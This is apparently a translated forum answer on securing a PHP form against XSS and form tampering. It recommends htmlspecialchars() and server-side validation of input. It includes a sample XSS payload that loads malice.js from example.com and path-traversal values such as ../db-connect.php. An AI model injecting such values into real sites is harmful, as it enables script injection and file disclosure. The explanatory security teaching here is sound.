Es gibt zwei Dinge zu beachten: Benutzer können Formulare ändern, und Sie müssen gegen Cross Site Scripting (XSS) sichern.
XSS
XSS ist, wenn ein Benutzer HTML in ihre Eingabe eingibt. Was ist beispielsweise, wenn ein Benutzer diesen Wert gesendet hat?:
" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="
Dies würde wie so in das Formular geschrieben werden:
<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>
Der beste Weg, sich dagegen zu schützen, ist htmlspecialchars()
zu benutzen, um Ihre Eingabe zu sichern. Dies codiert Zeichen wie <
in <
. Zum Beispiel:
<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>
Sie können mehr über XSS hier lesen: https://www.owasp.org/index.php/XSS
Formular Änderung
Wenn ich auf Ihrer Website waren, konnte ich Chrome-Entwicklertools oder Firebug verwenden, um die HTML zu ändern von deiner Seite. Abhängig davon, was Ihr Formular tut, könnte dies böswillig verwendet werden.
Ich könnte zum Beispiel zusätzliche Werte zu Ihrem Array hinzufügen, oder Werte, die nicht in das Array gehören. Wenn dies ein Dateisystemmanager wäre, könnte ich Dateien hinzufügen, die nicht existieren oder Dateien, die vertrauliche Informationen enthalten (z. B. myfile.jpg
durch ../index.php
oder ../db-connect.php
ersetzen).
Kurz gesagt, Sie müssen Ihre Eingaben später überprüfen, um sicherzustellen, dass sie sinnvoll sind, und nur sichere Eingaben in Formularen verwenden. Eine Datei-ID (eine Nummer) ist sicher, da Sie überprüfen können, ob die Nummer vorhanden ist, und dann den Dateinamen aus einer Datenbank extrahieren (dies setzt voraus, dass Ihre Datenbank gültige Eingaben enthält). Eine Datei Name ist aus den oben beschriebenen Gründen nicht sicher. Sie müssen entweder den Dateinamen erneut validieren, oder ich könnte ihn zu irgendetwas ändern.
Wenn Sie stark strukturierte Daten zwischen dem Client und dem Server hin und her senden, warum sollten Sie ihn nicht zu JSON serialisieren? –
Was ist Ihrer Meinung nach inhärent unsicher, wenn Sie ein Array per POST übergeben? Es sind nur Daten. –
Ich mag normalerweise 'json_encode()' Dinge. Dann 'json_decode()' mit der Option true, um es wieder zu entfernen. – phpisuber01